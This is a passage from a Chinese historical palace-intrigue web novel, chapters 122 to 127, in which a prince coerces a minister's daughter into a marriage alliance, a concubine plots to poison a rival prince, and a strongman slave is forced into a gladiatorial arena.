“自然不是!”萧修湛像是被点醒一般,挑了挑眉,“不过你倒是提醒了我,我可以尝试和二哥结盟!” 他原本一直费尽心思,想要拉拢五皇子萧怀瑾,可那萧怀瑾看不惯他从地下赌 场、青 楼女支院、人牙子买卖这些藏 污 纳 垢之地攫取利益,因此始终不肯与结为盟友。 二皇子没有什么野心,母族手握兵权,倒是个退而求其次的结盟之选。 只要结盟,他的封赏自己不就可以分一杯羹了吗? 只是…… “我这二哥生性耿直,不懂得变通,恐怕难以助我登上那至高无上位置啊!” 谋权篡位这种大逆不道之事,以二皇子的性格,定然是不屑为之,也绝不愿参与其中的,所以他一开始就直接将二皇子排除在了结盟人选之外。 姜莲察言观色,缓缓道:“殿下,若您能寻到二皇子殿下的软肋,便不愁他不能为您所用!” “软肋?你是指……” “若二皇子殿下有心爱之人,在乎的事,或是尚未完成的心愿,这些都可以成为殿下拿捏二皇子的筹码!”姜莲语气轻柔,却字字珠玑,直击要害。 萧修湛猛然想起那日在马球赛,他曾无意中看到二皇子与户部尚书之女张嫣私下会面的场景。 “二哥的软肋,我知道是什么了!”他将姜莲一把抱在自己腿上,目光在她那张酷似江姝宁的脸上流连,眼底掠过一丝痴迷,“你不仅长得你姐姐,也如你姐姐一般聪慧!本皇子甚是欣慰!” “殿下谬赞。”姜莲垂眸,刻意露出一个像极了姜姝宁的笑容。 这笑容像是撩拨心弦的手,萧修湛只觉得浑身燥热,心底腾升起一股难以言喻的渴望。 他将她打横抱起,大步走往寝殿…… 第123章 她被明月看见 第一百二十三章 她被明月看见 二皇子正在后院挥汗如雨,习练武艺,忽有内侍匆匆来报:“殿下,三皇子殿下求见!” “三弟?他来做什么?”二皇子剑眉微蹙,满脸狐疑,摆手示意,“有请。” 内殿之中,两位皇子相对而坐,气氛微妙。 一位身着锦衣华服,姿态慵懒随意,眉宇间尽是漫不经心;另一位则身着利落的练武服,精神抖擞,浑身散发着习武之人的干练与英气。 “三弟有事但说无妨,我需继续练武,实在没有闲暇与你在此闲聊品茗!”二皇子道。 他向来直来直去,不喜弯弯绕绕。 萧修湛端起青瓷茶盏,轻啜一口,动作优雅缓慢:“二哥即将整装出发,为我大邺征战沙场,驱逐南月贼寇,固然可敬。可二哥也不能将所有心思都放在军国大事之上,个人的终身大事,亦不可忽视啊。” “三弟若有话,不妨直言。” 二皇子不耐地掏了掏耳朵,显然对这种拐弯抹角的说话方式颇为反感。 “既然如此,那我就开门见山了。我此番前来,是想为二哥说一门亲事!”萧修湛放下茶盏,嘴角勾起一抹意味深长的笑意。 “不必了!”二皇子断然拒绝,“我心有所属,不劳三弟费心!” “二哥心悦之人,是张尚书家的千金,张嫣姑娘吧?” 听到这话,二皇子的脸颊以肉眼可见的速度泛起红晕,眼神也略显慌乱:“你……你如何知晓?” 萧修湛笑得讳莫如深:“此事二哥不必深究,我今日前来,便是要为二哥和张姑娘牵线搭桥,促成这桩美事的!” “三弟,这桩亲事,恐怕你是说不成了!”二皇子苦笑道,“我已向张姑娘表明心意,奈何她对我并无情意。我虽为皇子,却也不愿强人所难。今生,怕是与她有缘无分了!” “二哥何必如此悲观?感情之事,瞬息万变,谁又能料到最终的结局呢?”萧修湛笑容狡黠,眼中闪过一丝不易察觉的光芒,“不如我与二哥打个赌,就看那张姑娘,是否会主动向二哥提出结亲的意愿。” “赌就赌,我绝不会输给你!”二皇子豪爽应下,“你想要什么赌注?” 萧修湛一字一句道:“黄金万两!” 二皇子闻言,朗声笑道:“这赌注果然诱人。不过不瞒三弟,就算三弟侥幸赢了这场赌局,我也未必能拿出万两黄金来给你。还是换个赌注吧?” “二哥如今或许无法拿出这万两黄金,但待二哥成功击退南月敌寇,凯旋归来,父皇的赏赐必定远超万两黄金!届时,二哥只需从父皇的赏赐中拨出万两黄金交付于我便可。” “好,就依你!”二皇子欣然应允,“反正,你肯定赢不了!” 萧修湛笑容愈发深沉,意味难明:“二哥,我们走着瞧便是!” 萧修湛从二皇子 宫里出来后,便出宫直奔张尚书的府邸。 张尚书闻言,心中忐忑难安。 他与这位三皇子素无瓜葛,更非同一阵营之人,他今日怎么会突然来见他? 虽满腹疑虑,张尚书仍强压心绪,堆起一脸恭敬之色,迎上前去:“下官拜见三皇子殿下,不知殿下今日亲临寒舍,有何贵干?” 萧修湛直接道明来意:“本皇子听闻张尚书之女张嫣,至今尚未婚配,特来向张尚书求娶令媛。” “什么?”张尚书一时以为自己听错,满脸错愕,“殿下与姜丞相之女的婚事,不是已近在眼前了吗?” “是啊,姜二姑娘是本皇子明媒正娶的正妻。”萧修湛轻描淡写地笑了笑,神态倨傲,“至于令媛,自然只能委屈她为妾了!” “这……”张尚书强压心中怒火,面色涨红,“殿下,下官膝下仅此一女,自幼便视若掌上明珠。我们张家虽算不上高门大户,但也绝不会让女儿去做妾室!” “张尚书这是在拒绝本皇子?”萧修湛面色阴沉,语气中带着一丝威胁,“若本皇子执意要娶她为妾,你以为凭你的力量,能够阻拦得了吗?张尚书,本皇子劝你莫要敬酒不吃吃罚酒!若真惹恼了我,莫说你女儿,就是你整个尚书府,都将难逃覆灭之灾!” 撂下这番狠话,他便扬长而去。 张尚书如遭雷击,瘫坐在地,口中喃喃自语:“造孽啊,我们张家怎么会惹上这个三皇子?” 张嫣步入正厅,便看到父亲颓然倒地,神色萎靡,她心头一惊,连忙上前搀扶起他:“爹,您这是怎么了?莫不是遇到了什么棘手之事?” “三皇子方才前来府上,竟……竟扬言要纳你为妾!”张尚书难以启齿道。 “什么?”张嫣闻言,脸色瞬间变得煞白。 那三皇子萧修湛是出了名的风流,尚未娶正妻,后院便已姬妾成群,坊间还盛传他与春香楼的头牌有着不清不楚的私情。 若是让她嫁给三皇子为妾,这一辈子岂不是彻底毁了吗? “不行!为父这就去找七皇子,求他设法相助!无论如何,也不能让你沦为三皇子的妾室!”张尚书语气激动道。 张嫣连忙拉住他:“爹,您忘了,上次七皇子暗中授意我们给姜家三少爷下毒一事,我们并未办妥,如今怎好意思再去劳烦他?更何况,七皇子与四皇子殿下本就属于同一阵营,如今三皇子和四皇子两人正值势均力敌之势,若此时贸然向七皇子求助,无异于直接与三皇子为敌,反而会激怒他,引来更大的祸端!” “那该如何是好?”张尚书满脸哀愁,“爹实在不忍心眼睁睁地看着你跳入火坑啊!” “爹爹不必如此忧心,女儿心中已有决断,知道应该向谁求助。”张嫣眼底掠过一丝难以掩饰的苦涩,“还请爹爹代女儿出面,将二皇子殿下约出来,女儿有几句话,想亲自对他说。” “二皇子?难道你是想让他向你提亲,娶你为妻?”张尚书眉头紧锁,“可你不是早就心有所属了吗?” 张嫣脸上浮起一丝苦笑:“如今女儿能够保全自身,保全整个张家,就已经实属不易了,又哪里还有资格再去奢望心悦之人?更何况,就算我不嫁给二皇子,那个人也未必会娶我。” 他是高悬于天空之上的皎皎明月,光芒万丈,遥不可及,而她不过是被他那的光华所惊艳的平凡女子罢了, 又有何德何能,能够让那皎皎明月也对她另眼相看,倾心相待呢? 张尚书闻言,心中更加难过,却也无可奈何:“与二皇子结亲,总好过给那三皇子当妾。嫣儿,都是爹无能,委屈你了!” 张嫣暗自垂泪:“是嫣儿自己命不好,怪不得爹爹!” 她不由有些嫉妒这京城里唯一能为自己婚事做主的女子姜姝宁。 若自己也能和她一样,得太后青睐,有一份懿旨就好了。 也不会落得今日这般被动的境地。 当然,她嫉妒姜姝宁,不仅仅因为她有份能为自己婚事做主的懿旨。 她嫉妒的是她能够被她倾慕的那轮明月看见。 第124章 死得毫无体面 第一百二十四章 死得毫无体面 二皇子和张嫣定亲之事很快便传到姜姝宁耳中。 她立马想到了夏嫣。 得知自己心仪之人已与他人定下终身,夏嫣该会有多伤心难过? 不行,她必须去见她一面,免得她独自黯然神伤。 姜姝宁准备出门,碰巧在门口遇到刚从书院回来的姜天泽。 姜天泽见她行色匆匆,好奇问道:“大姐姐这是要往哪儿去?” “我要去看看夏嫣。” “大姐姐和夏嫣姐的感情真是好,前几日才刚见过面,这么快又要去找她了。” 姜天泽笑着道。 “可不就是嘛!”姜姝宁也笑了起来,故意打趣道,“要是夏嫣是个男子,我定非她不嫁!” 姜天泽闻言,眼底闪过一抹不易察觉的阴郁。 幸好夏嫣不是男子。 否则,他又得费心多除去一个碍眼之人了。 姜姝宁来到夏府,远远便看见夏嫣正在院中练武,额头上的汗珠在阳光下晶莹闪烁,宛如晨露般剔透。 见她到来,夏嫣收了招式,迎上前来,脸上绽开一抹浅笑:“姝宁,你怎么来了?” 姜姝宁见她神色并无异样,心中暗忖:莫非她还不知道二皇子定亲的消息? 她将手中提着的食盒递了过去:“想你了,便来看看你。这是我亲手做的酥饼,你尝尝看,合不合口味!” 夏嫣接过食盒,笑意更深了几分:“你是听说了二皇子定亲的事,怕我心里难受,特意赶来安慰我的吧?” “被你看出来了!”姜姝宁也不遮掩,目光在她脸上逡巡,“不过,你瞧着似乎并不难过,难道是在强颜欢笑?” “当然不是。”夏嫣轻笑一声,神色坦然,“心仪之人定了亲,这是喜事,我为何要难过?难道在姝宁眼里,我就是这般肤浅之人?” “你能这样想,我心中甚是欣慰。”姜姝宁嗔怪道,“怎么,担心你也不行吗?” 她心下暗叹:不怪我多想,前世你可是为了二皇子削发为尼,孤苦一生啊! “姝宁,你可知我为何心悦二皇子殿下?”夏嫣忽然问道。 “二皇子殿下英武不凡,仪表堂堂,你对他一见倾心也不奇怪。” “你只猜对了一半。七位皇子个个出类拔萃,但唯有二皇子让我动了心。因为只有他胸怀护国安民的远大志向,真正将大邺百姓放在心上,而不是一味争权夺利。这次听说由他带兵出征,讨伐南月敌寇,我心里着实欣慰。他终于能施展一身武艺,守护大邺的山河了。” 姜姝宁听罢,恍然大悟。 难怪前世二皇子战死沙场后,夏嫣会毅然削发为尼,与青灯古佛相伴余生。 原来,她不仅仅是为心爱之人的逝去而悲痛,更是因为她看不到大邺的希望。 那个唯一为百姓着想的皇子殒命,剩下的皇子们各为阵营,将心思全用在权力争斗上,根本无暇顾及大邺子民的死活。 守着这样的皇室,又怎能不令人心生绝望? 幸好这一世与前世大不相同,二皇子身边有浩力相助,定不会重蹈覆辙,落得战死沙场的悲惨结局。 “那我们就等着二皇子凯旋的捷报吧!我听说南月此次只带了五万兵马,而我们大邺却有十万精兵迎敌,定能将他们杀个片甲不留!此战,二皇子必胜无疑!”姜姝宁语气中透着几分笃定。 “南月竟然只带了五万兵马?他们是怎么想的?这不是自寻死路吗?”夏嫣满脸疑惑。 姜姝宁也觉得此战颇为蹊跷。 南月不仅比前世提前对大邺发起攻势,还只带了如此少的兵马,显然是对大邺的国力严重低估。 莫非是萧凌川故意放出虚假情报,诱使南月自投罗网? 可他究竟是如何做到的? 南月又是为何会轻信他的情报? 姜姝宁心中好奇难耐,忍不住想要去问萧凌川,可转念一想,又记起那日他说过,除非她愿意成为他的妻子,否则他不会将一切和盘托出。 想到此处,一抹红晕悄然爬上她的双颊,她在心里暗自嘀咕:这机密嘛,我也不是非知道不可! —— 深夜,景和宫里,姜瑶真的生母、姜家姨娘跪在萧凌川面前,颤抖着双手呈上一张纸条。 纸条上写着这样一行字:“我已遵殿下之命,将南月兵马引至大邺。如今我背弃族人,已无退路,今后只能任凭殿下差遣。我唯有一求,望殿下念及我这段时日忠心耿耿的情分,赐下解药给小女,免她每月受毒药侵蚀之苦!” 萧凌川俯视着她,面色阴冷如霜,语气中带着几分不屑:“你这是在与本殿交易?以你如今的身份,你觉得自己有这个资格吗?” 姜家姨娘心中怒火翻涌,却不得不强压情绪,装出一副卑恭之态,又是磕头又是比划,苦苦哀求。 萧凌川却无动于衷,冷冷道:“若她安分守己,本殿自会月月赐她解药。但若她胆敢生事,本殿绝不轻饶!” 姜家姨娘听出他的言外之意——不给解药,不过是想时刻拿捏她们母女! 心中带着恶意的怒火顿时熊熊燃烧。 翌日,她与姜瑶真在来福酒楼碰面。 得知萧凌川不肯提前交出解药,姜瑶真气得浑身发抖,咬牙低语:“娘,如今南月兵马已被引至大邺,仅五万兵马,根本无法与大邺抗衡。四皇子此举实在阴险至极,如此一来,娘与南月定会彻底决裂,毫无回旋的余地! 您说他为何如此行事?莫非他已察觉自己的身世,知晓我们一直在欺瞒他?毕竟,南月公主并非他的生母,而是您啊!” 姜家姨娘大惊失色,忙捂住她的嘴,示意她噤声。 姜瑶真却甩开她的手,带着几分自暴自弃:“我们本想欺瞒他,利用他的身份为我们所用,将来让大邺沦为南月的疆土,谁知这四皇子根本不按常理出牌! 他压根不想助南月吞并大邺,反倒借着假情报,重创南月根基!如今我们母女都被他下了毒,哪里敢违抗他的指令?如此下去,还怎么助南月夺取大邺?” 姜家姨娘脸色阴沉,打着手势道:“你放心,我委托南月毒师炼制的新毒,已经制好。只需觅得一个时机,便能让他死得毫无体面!” “可他若死了,我们的解药怎么办?”姜瑶真忧心忡忡。 “放心,他身边有个神医,不会让他轻易毙命。”姜家姨娘神色阴狠,继续比划道,“待他身边的人束手无策之际,我们再提出用解药交换,届时,不愁他不乖乖交出解药!” “还是娘思虑周全。他身边的神医再厉害,也绝无可能在短时间内破解南月毒师新制的毒药。”姜瑶真阴冷一笑,眼中尽是恶毒,“我真是迫不及待,想看四皇子中毒后那副狼狈不堪的模样!” 第125章 被迫走进角斗场 第一百二十五章 被迫走进角斗场 二皇子和张嫣的婚事定在南邺之战后。 一想到即将与心仪的女子结为连理,二皇子喜不自胜,高兴得有些找不着北。 在与张嫣及张尚书商讨聘礼时,他满心欢喜地承诺道:“二位放心,但凡有任何要求,尽管提出来,我定会尽心尽力,让你们满意!” 见二皇子如此重视这门婚事,张尚书心中反倒泛起一丝愧疚。 回府的马车上,他对身旁的女儿语重心长地说道:“嫣儿,这二皇子殿下性情纯良敦厚,待人真诚,为父看得出,他是个值得托付终身之人。待你嫁过去后,便将那人彻底忘了吧,与殿下好好过日子!” 张嫣眼帘低垂,语气平静地应道:“是,女儿定会尽力而为,不辜负父亲的期望。” 嘴上虽是这般说,可她心里比谁都清楚,世上之事多能凭努力达成,唯独感情,越是想放下,越是难以割舍。 她甚至隐隐有些不甘心。 凭什么姜姝宁能轻易俘获那人的目光,而自己拼尽全力,却连他的衣角都触碰不到? 二皇子对自己未婚妻心有所属这件事浑然不知,他来到萧修湛宫里,笑得合不拢嘴:“三弟,这局赌约,是二哥输了,万两黄金,待我凯旋之日,定当亲手奉上!” “恭喜二哥,如愿抱得美人归!既如此,那我便在此静候佳音,恭候二哥将那万两黄金如数送至我的库房之中!”萧修湛笑着道。 “那是自然!不过,三弟,我实在好奇,你究竟用了什么法子,竟能让张嫣主动与我商议婚嫁之事?我曾三番五次向她表明心意,她都婉言推拒,没想到你竟有如此神通,能让她接受我的心意!” 萧修湛眼底飞快地掠过一丝不易察觉的阴鸷之色,旋即又恢复了往日那副云淡风轻的神情。 “二哥谬赞了,我不过是在张尚书和张姑娘面前,略微陈述了一下二哥的诸多优点罢了,让他们觉得二哥乃是人中龙凤,值得托付终身,他们这才被打动,应允了这门亲事。” 二皇子听罢,深信不疑,连忙拱手作揖道:“三弟高义!你助我如愿娶到心仪之人,此等恩情,没齿难忘!万两黄金,毕竟需要时日才能筹措齐全,不如这样,你随我一同前往兵器库,我那里珍藏着一些趁手的兵器,任你挑选,聊表寸心,如何?” 盛情难却,萧修湛随他一同前往兵器库。 两人行至操练场时,萧修湛的目光忽然被一道熟悉的身影所吸引。 那人身形高大,远胜于常人,皮肤黝黑,肌肉虬结,孔武有力。 这不是那日他在东市偶遇,被姜姝宁买下的那个奴隶吗? 他为何会出现在二皇子的宫里? 萧修湛心中疑惑,面上却不动声色,他指着那人,问道:“二哥,这位是……?” “哦,你说的是浩力啊。”二皇子笑着解释道,“这是夏将军赠与我的猛将,他天生神力,能够轻松举起千斤重物,着实了得!” 萧修湛自然知晓这浩力具有天生神力,那日在东市,他亲眼目睹了他徒手将一辆马车举了起来。 “二哥,兵器就不必了,我看这浩力倒是骁勇过人,甚合我意。这样吧,二哥若真想感谢我的话,不如忍痛割爱,将这具有神力的武将赠与我,如何?我近日正愁身边缺少一个得力的贴身侍卫呢。” “这……”二皇子闻言,脸上顿时露出犹豫之色,显得有些不舍。 “怎么,二哥莫非是舍不得?”萧修湛见状,故意面露惋惜之色,语气也变得有些疏离,“既然如此,那便算了吧,我也知道二哥方才说要谢我,不过是客套之言罢了,我又何必当真呢?” “三弟,你误会了,我是真心想感谢你啊!”二皇子闻言,顿时有些急了,连忙道,“罢了,既然三弟如此喜欢,那这浩力便赠与你吧,还望三弟不要嫌弃!” “多谢二哥,那我就却之不恭了!”萧修湛嘴角勾起一抹得逞的笑意。 萧修湛带着浩力径直出了宫门,将其送往了京城里最阴暗血腥的的地方——角斗场。 看着角斗场上的血腥打斗,听着四面八方传来的嘶吼声,浩力顿时惊慌失措。 “殿下,二皇子殿下明明说过,您是要将我留在身边,作为贴身侍卫的啊!” 萧修湛嘴角勾起一抹冷酷的弧度: “你不过是个低贱的奴隶,也配过问主子的决定?如今我才是你的主人,你的一切皆由我说了算!就凭你这副愚钝憨厚的模样,除了拥有一身蛮力之外,还能做些什么? 本皇子要的是一个身经百战,浑身散发着杀气的将士!而角斗场,正是磨砺你的最佳场所。唯有在这种每日都经历生死考验的地方,才能彻底激发你骨子里的野性,训练出你所欠缺的杀气!” 浩力本能地想要转身逃离这个即将吞噬他的地狱,然而,还未等他迈开脚步,脖颈处便传来一阵冰冷的触感。 萧修湛身边的随从将一把泛着幽幽寒光的利剑,抵在了他的脖颈之上,语气森冷:“这剑上淬有剧毒,只要稍有妄动,便会立刻毙命!若你胆敢不听号令,就只有死路一条!” 浩力感受到死亡的威胁,心中的恐惧瞬间达到了顶点。 他只能被迫放弃抵抗,一步步走向那充满血腥与杀戮的角斗场。 他像一头被囚禁的野兽一般,被关在一个特制的铁笼子里,笼子周围布满了涂有剧毒的尖刺,只要稍一挣扎,便会被刺穿身体,毒发身亡。 他不敢轻举妄动,只能蜷缩在狭小的空间里,默默忍受着无尽的恐惧与煎熬。 在这里,他每日都必须竭尽全力,击败一个又一个凶残的对手,才能勉强获得一口食物,否则便只能忍受饥饿的折磨。 为了生存,他必须变得更加强大,更加残忍。 日复一日,在无休止的杀戮与争斗中,他眼中的敦厚与善良逐渐消失殆尽,取而代之的,是无尽的嗜血与杀意…… 第126章 终究还是输了 第一百二十六章 终究还是输了 姜瑶真与萧修湛成婚之日,十里红妆铺满长街,送亲队伍敲锣打鼓,声势浩荡,热闹非凡。 京城的世家贵女们纷纷探头张望,眼中满是羡慕。 她们窃窃私语,感叹得宠皇子的婚礼果然不同凡响,这排场丝毫不逊于太子与太子妃大婚之日。 姜瑶真坐在梳妆台前,凝视镜中凤冠霞帔的自己,心中涌起一股得意。 她身上的珠宝首饰与婚服皆是萧修湛重新挑选更换的,尽显奢华,用料皆为上乘。 她暗自思忖,果然,想要成为人人艳羡的对象,还是得靠自己去争取。 贴身婢女春花提醒道:“二小姐,迎亲的队伍已到门口,咱们快些上花轿吧!” “稍等片刻。”姜瑶真瞥了她一眼,吩咐道,“去把我姐姐请来,今日是我大喜之日,怎能不让她亲眼瞧瞧?” “是,二小姐!”春花应声而去。 不多时,她便将姜姝宁带来,恭敬禀告:“二小姐,大小姐到了。” 姜姝宁站在门口,目光落在镜前的姜瑶真身上,淡淡问道:“妹妹唤我前来有何事?” 姜瑶真并未转身,只通过镜子看着她,语气中透着几分得意:“我听说姐姐打算此生不嫁,将来怕是无缘见到凤冠霞帔的新娘模样。今日我特意请姐姐过来一睹为快,也免得姐姐日后心有遗憾。” 姜姝宁唇角微微上扬,露出一抹若有若无的嘲讽笑意,语气平静:“多谢妹妹好意,今日真是让我长见识了呢。” 她心中却暗自腹诽:这姜瑶真,真是片刻不炫耀便活不下去。 真怀疑她上辈子是不是公孔雀,如此爱开屏。 姜瑶真继续说道:“姐姐,我知道你从小便不喜我。如今我总算要出嫁了,往后在这相府中再也见不到我,姐姐心里定然欢喜得很吧?” “确实挺高兴的。”姜姝宁微微一笑,眼底却闪过一抹不易察觉的阴冷,“从今往后,妹妹便是三皇子妃,与三皇子夫妻一体,荣辱与共。” 终于等到姜瑶真离开姜家。 日后她若犯错,姜家便无需再为她兜底。 而自己,也能毫无顾忌地放手行事,将她置于死地! 姜瑶真浑然未察觉姜姝宁眼底的杀意。 她仍沉浸在大婚的喜悦与得意之中,又忍不住添油加醋地嘲讽了姜姝宁几句,拐弯抹角地说了不少炫耀之词,这才心满意足地在春花的搀扶下,迈着轻快的步子出门,坐上花轿。 婚宴的宴席设在皇宫之中,华灯高悬,金碧辉煌。 姜瑶真被送亲队伍护送至皇宫,随即由宫人引入内殿,与三皇子萧修湛行合卺之礼。 出席婚宴的宾客皆是皇亲国戚,个个身份尊贵,场面热闹非凡。 其中,张尚书一家也在座。 张尚书的独子张霖笑吟吟地对张嫣道:“若不是姐姐与二皇子殿下定了亲,今日这般盛大的婚宴排场,我怕是无缘得见。将来姐姐与姐夫的婚宴,不知能否有如此气派?” 听到“姐夫”二字,张嫣脸上闪过一抹不自然的神色。 她始终难以接受,自己即将成为二皇子妃的现实。 幸好二皇子已率兵出征,未曾出现在这场婚宴,否则她只怕会更加局促不安。 她的目光不由自主地飘向皇子所在的那桌坐席。 那里,坐着她心中一直仰望却始终求而不得的那轮明月。 婚宴进行到大半,皇帝、太后与熙贵妃陆续离席,宴席上的气氛渐渐轻松起来。 相熟且关系亲近的大臣们聚在一起推杯换盏,谈笑风生,几位皇子也纷纷离开坐席,或到殿外散步消食,或寻个清静处醒酒。 张嫣手提一个食盒,神色如常地悄悄走出殿外,默默跟在一个身形颀长的男子身后。 待走到一处无人之地,她终于鼓足勇气,轻声开口:“五皇子殿下……” 那人缓缓转身,记忆中那张温润如玉、清隽如画的面容映入她的眼帘。 张嫣只觉心头如小鹿乱撞,抑制不住地,双颊泛起一抹激动的红晕。 萧怀瑾看清来人,眼中闪过一瞬不易察觉的失落。 但他很快敛去情绪,恢复如常,温和一笑:“张姑娘。” 张嫣闻言,心中一阵激动,声音略带颤抖:“殿下竟认得臣女?” 萧怀瑾微微颔首,语气平静:“二哥曾提过,他未来的皇子妃便是张尚书之女。如此算来,张姑娘还是我未来的二嫂,自然是要认得的。” 张嫣心底涌起一阵莫名的惆怅。 好不容易让他记住自己,却是以“二嫂”这样的身份。 她深吸一口气,稳住心绪,将手中的食盒递到他面前:“臣女听说殿下喜爱杏仁饼,恰好会做,便特意准备了一些。殿下若不嫌弃,请尝一尝。” “多谢张姑娘。”萧怀瑾接过食盒,掀开盖子,取出一块杏仁饼尝了一口,随即赞叹道,“张姑娘的手艺果然精湛,入口香甜,二哥日后有口福了!” 张嫣目不转睛地看着他,眼底流露出几分遗憾:“早知殿下喜欢杏仁饼,臣女那日在赏菊宴上便该备下糕点的。” 萧怀瑾闻言,略显意外:“赏菊宴那日,张姑娘也在场?” “是。臣女当日展示了刺绣才艺,只是殿下与其他皇子们的目光皆被姜家两位小姐的才艺吸引,未曾留意旁人。”张嫣语气中带着几分幽怨,“其实臣女的厨艺也不差,只是殿下未曾有机会品尝其他女子的手艺罢了。那姜家嫡长女,也并非多么与众不同。” 这话让萧怀瑾眉间染上一丝淡淡的不悦。 他将食盒递还给张嫣,语气温和却疏离:“张姑娘的心意我领了。只是日后这些吃食,还是留给二哥为好。我收下张姑娘的东西,终究于礼不合。” 说完,他便转身径直离去。 张嫣心中一阵不甘,忍不住对着他的背影喊道:“殿下为何如此钟情姜姝宁?除了厨艺,她究竟有何特别之处?” 萧怀瑾脚步微微一顿,缓缓转过身来。 “姝宁的厨艺确实并非顶尖,我也不会仅因一个女子厨艺出色便心生欢喜。”他神色温润如水,声音却透着几分认真,“说实话,我也不知自己为何心悦于她。但若真能说出理由,那便不是真正的喜欢了吧?不知这样的解释,张姑娘可还满意?” 张嫣藏在袖中的手掌紧紧攥起,指尖几乎嵌入掌心。 所以,即便她的厨艺不逊于姜姝宁,她终究还是输了吗? 此时,不远处一双窥探的眼睛正悄悄注视着这一幕。 姜瑶真在新房内等候萧修湛,左等右等不见人影,心中不耐,便吩咐春花去婚宴上探探情况。 春花回来时,恰巧撞见张嫣与萧怀瑾在婚宴外私下交谈的一幕。 回到麟阁宫,春花迫不及待地将此事添油加醋地禀报给姜瑶真:“小姐,您是没瞧见,那张姑娘当真不要脸面!都已是二皇子的未婚妻了,还巴巴地提着一盒饼去讨好五皇子殿下,简直不成体统!” 姜瑶真闻言,冷笑一声:“这倒是有趣。一个定了亲的女子,竟还恋慕五皇子殿下,巴巴地送吃食过去讨好,脸面都不要了。” “可不是嘛!”春花接着附和,“那张姑娘还真是贪心不足,都跟二皇子有婚约在身了,还敢勾搭五皇子殿下。临了还追着问,五皇子到底喜欢大小姐什么!好歹也是个定了亲的人,竟还好意思吃大小姐的醋!” “吃醋好啊!”姜瑶真眼底闪过一抹阴郁的光芒,嘴角微微上扬,露出一丝意味深长的笑意。 她正愁那毒药该如何神不知鬼不觉地下给萧凌川,如今眼前不是有个现成的人可以利用吗? 第127章 怎会生得如此相像? 第一百二十七章 怎会生得如此相像? “大姐姐,你到底要带我去哪儿?”姜天泽笑着问。 姜姝宁兴致盎然:“难得你有机会进宫一趟,我带你去御花园瞧瞧。那里的花匠手艺非凡,能让珍稀名花一年四季都盛开不败。” 姜天泽闻言,脸上浮现一抹柔和的笑意,没有再多言。 比起御花园里的那些花,他更想多看几眼身旁的她。 在他眼中,她可比花美多了。 另一边,萧怀瑾正沿着小径前往御花园散步消食。 远远地,他瞥见一个熟悉的身影,眼前不由得一亮——姜姝宁? 她身着一袭月牙色长裙,显得格外清雅脱俗,脸上挂着明媚的笑,正与身旁一名男子有说有笑地交谈着。 而那名男子…… 萧怀瑾眉心微蹙:那不是四哥萧凌川吗? 姜姝宁一时不察,脚下踏空险些摔倒,幸好身旁的姜天泽眼疾手快,一把扶住了她。 “大姐姐,小心些。”他的手停留在她的腰间,似有几分不舍,迟迟未曾松开。 “四哥,请自重!”萧怀瑾远远瞧见这一幕,再也按捺不住心中怒火,疾步上前,语气中带着显而易见的愠怒。 然而,当他走近看清姜天泽的面容时,不由得一怔。 这人并非他的四哥萧凌川。 可为何生得如此像他? “五皇子殿下!”姜姝宁见到他,惊讶地出声,随即转头对姜天泽道,“快,见过五皇子殿下!” 姜天泽心中暗想,原来这就是大姐姐三天两头进宫去见的人? 不过比寻常书生多了一分贵气罢了,若非生在帝王之家,这份气度怕也难有。 他虽心中腹诽,面上却丝毫不露,恭敬地朝萧怀瑾行了一礼:“天泽见过五皇子殿下!” 姜姝宁笑意盈盈地对萧怀瑾介绍道:“殿下,这是我三弟,姜天泽。” “三弟?”萧怀瑾闻言,下意识地多打量了姜天泽几眼,心中疑虑未消。 这人竟比他这个亲兄弟还要像四哥。 “殿下,怎么了?”姜姝宁察觉到他神色有异,忍不住问道。 “姜姑娘,恕我直言,我觉得令弟……”萧怀瑾略一迟疑,还是开口道,“与我四哥有几分相似。” 同样的眉眼深邃,鼻梁挺拔如峰,脸部线条锋利而流畅,透着一股格外张扬的俊美。 姜姝宁却不以为意,笑着道:“大约长得好看的人,总有几分相似之处吧?” 听到这话,萧怀瑾眼中闪过一抹黯然。 他轻声问道:“那姜姑娘觉得,我与四哥像吗?” “不像。”她脱口而出,随即意识到自己的失言,赶忙补救道,“臣女并非说殿下不好看,只是……您与四皇子殿下的气质截然不同!您自然有您独一无二的好看!” 萧怀瑾微微一笑,似乎察觉到她的窘迫,温和地替她解围:“我与四哥生母不同,长得不像也在情理之中。别说我与四哥,便是与其他兄弟,也没什么相似之处。” “殿下说得极是。天泽能与四皇子殿下有几分相像,不过是巧合罢了。”姜姝宁顺着他的话道。 姜天泽不愿自家大姐姐与萧怀瑾多说半句,故意开口道:“大姐姐,我不想看花了,身上有些乏,想早些回家。” “好,那我陪你一同回去。”姜姝宁转头对萧怀瑾歉然道,“殿下,我们便先行告退了。” “姜姑娘,那两只白兔,你养得如何了?”萧怀瑾不愿她就此离去,主动找话留人。 一提白兔,姜姝宁神色微微一僵,面露难色:“殿下,那两只兔子……是臣女无能,臣女不会养,它们都已经……不在了。” “不在了?”萧怀瑾脸上浮现一抹惋惜之色,“真是可惜。” 姜天泽忽而插话,笑嘻嘻地道:“大姐姐,方才我吃了一道烤兔肉,可总觉得不如你做的麻辣兔肉香!” 此言一出,萧怀瑾脸色骤然一沉。 姜姝宁狠狠瞪了姜天泽一眼,心中暗恼:这时候提什么不好,偏提这个! 她连忙解释:“殿下,我三弟他……并非那个意思!那两只兔子死后,我让婢女将它们埋在后院,绝未将它们做成菜肴!” 萧怀瑾的神色这才缓和下来,温和道:“我自然明白,姜姑娘绝非那样的人。兔子体弱,确实不易养活。我如今在宫里养着小鹿,那日见你颇为喜欢,不如送给你如何?” 她还未及婉拒,姜天泽又抢着开口:“烤鹿腿我可是爱吃的!” “天泽!”姜姝宁气恼地低喝他的名字,随即转向萧怀瑾,忙道,“殿下莫要见怪,我三弟年纪小,满脑子只想着吃。不过,那小鹿还是殿下自己养着吧,我从未养过,怕养不好,辜负殿下的心意。” “大姐姐不必推辞殿下的好意,若是将鹿不小心养死了,还可以做成……” 姜姝宁生怕姜天泽再口无遮拦说出令人误会的话,急忙打断,对萧怀瑾道:“殿下,我们先告退了!” 说罢,她拽着姜天泽快步离开。 萧怀瑾目送他们的背影渐行渐远,心中涌起一股莫名的情绪。 他能清楚地感受到,姜天泽对他并无好感。 正如萧凌川对他一样。 姜姝宁拉着姜天泽往出宫的方向走去,没想到迎面竟撞上了萧凌川。 她连忙俯身行礼:“臣女见过四皇子殿下!” 萧凌川的目光在姜天泽身上短暂停留了片刻,随即转回姜姝宁身上,语气淡然:“婚宴尚未结束,姜姑娘怎的急着离去?” “回殿下的话,臣女的三弟有些乏了,臣女想带他早些回去。”姜姝宁恭敬答道。 